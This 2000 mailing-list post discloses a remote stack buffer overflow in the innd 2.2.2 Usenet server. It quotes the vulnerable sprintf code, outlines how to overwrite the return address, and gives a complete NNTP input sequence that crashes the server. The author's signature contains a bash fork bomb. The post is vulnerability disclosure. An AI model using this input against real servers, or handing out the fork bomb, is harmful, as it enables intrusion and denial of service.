innd 2.2.2 remote buffer overflow

Michal Zalewski lcamtuf at TPI.PL
Tue Jun 6 14:18:44 UTC 2000


Newest innd 2.2.2, probably the most popular usenet news server (as well as
previous versions) contain remotely exploitable, trivial on-stack buffer
overflow in control articles handler.

Offending piece of code (in innd/art.c, function ARTcancelverify):

    if (!EQ(local, p)) {
        files = NULL;
        (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
                      p, MessageID, local);
        ARTlog(Data, ART_REJECT, buff);
    }

Where buff (local stack buffer) is SMBUF bytes long (it means, 256 bytes),
but MessageID can be up to 1000 almost bytes long. This code is reached when
cancel request is sent to special newsgroup (called 'control'), and cancel
request contains valid Message-ID, but From/Sender fields are different in
cancel request and in original posting.

How to exploit it? It could be a problem for script kiddies, as Message-ID
is strictly checked for non-printable characters etc. But hey, Message-ID
can be used only as a padding, and then we can overwrite return address with
From/Sender address of cancel post! This field is not verified in any
fascist way. Shellcode? Can be placed anywhere, quite big portions of cancel
post are lying in the accessible memory when overflow happens.

Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to be the
same every time):

-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
post
Message-ID: <none at LONGBUFFER>
From: <test at polbox.com>
Newsgroups: pl.test

testing
.		<- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: <some-random-msgid at test.pl>
Approved: <approver at approving.net>From: <sucker at free.net.pl>
Control: cancel <none at LONGBUFFER>
Subject: cmsg cancel <none at LONGBUFFER>
Newsgroups: control

Damn, cancel it.
.			<- single dot
quit
-- EOF --

If innd/nnrp is running under debugger like strace, you'll see that
child process responsible for request handling dies with SIGSEGV. Nice.

Don't ask me why, but I believe it will be hot weekend for Linux 2.2 users
;) Just wait for Wojtek's post ;P

_______________________________________________________
Michal Zalewski [lcamtuf at tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=


-73, Jeff

-.  .----  -.--  .--  -...     -.-  ..  -.-.  -.-  ...    .-  ...  ...
Jeffrey Michael Laughlin               	  Amateur Radio Callsign-N1YWB
President, VTC Solar Car Club & Amateur Radio Club W1VTC
Vermont Technical College, Box K155, Randolph Center, VT 05061
(802)728-1481
n1ywb at amsat.org                 http://www.vtc.vsc.edu/users/jlaughli/

Now his life is full of wonder but his heart still knows some fear
Of the simple things he cannot comprehend
Why they try to tear the mountains down and bring in a couple more
More people, more scars upon the land
    -John Denver




More information about the inn-bugs mailing list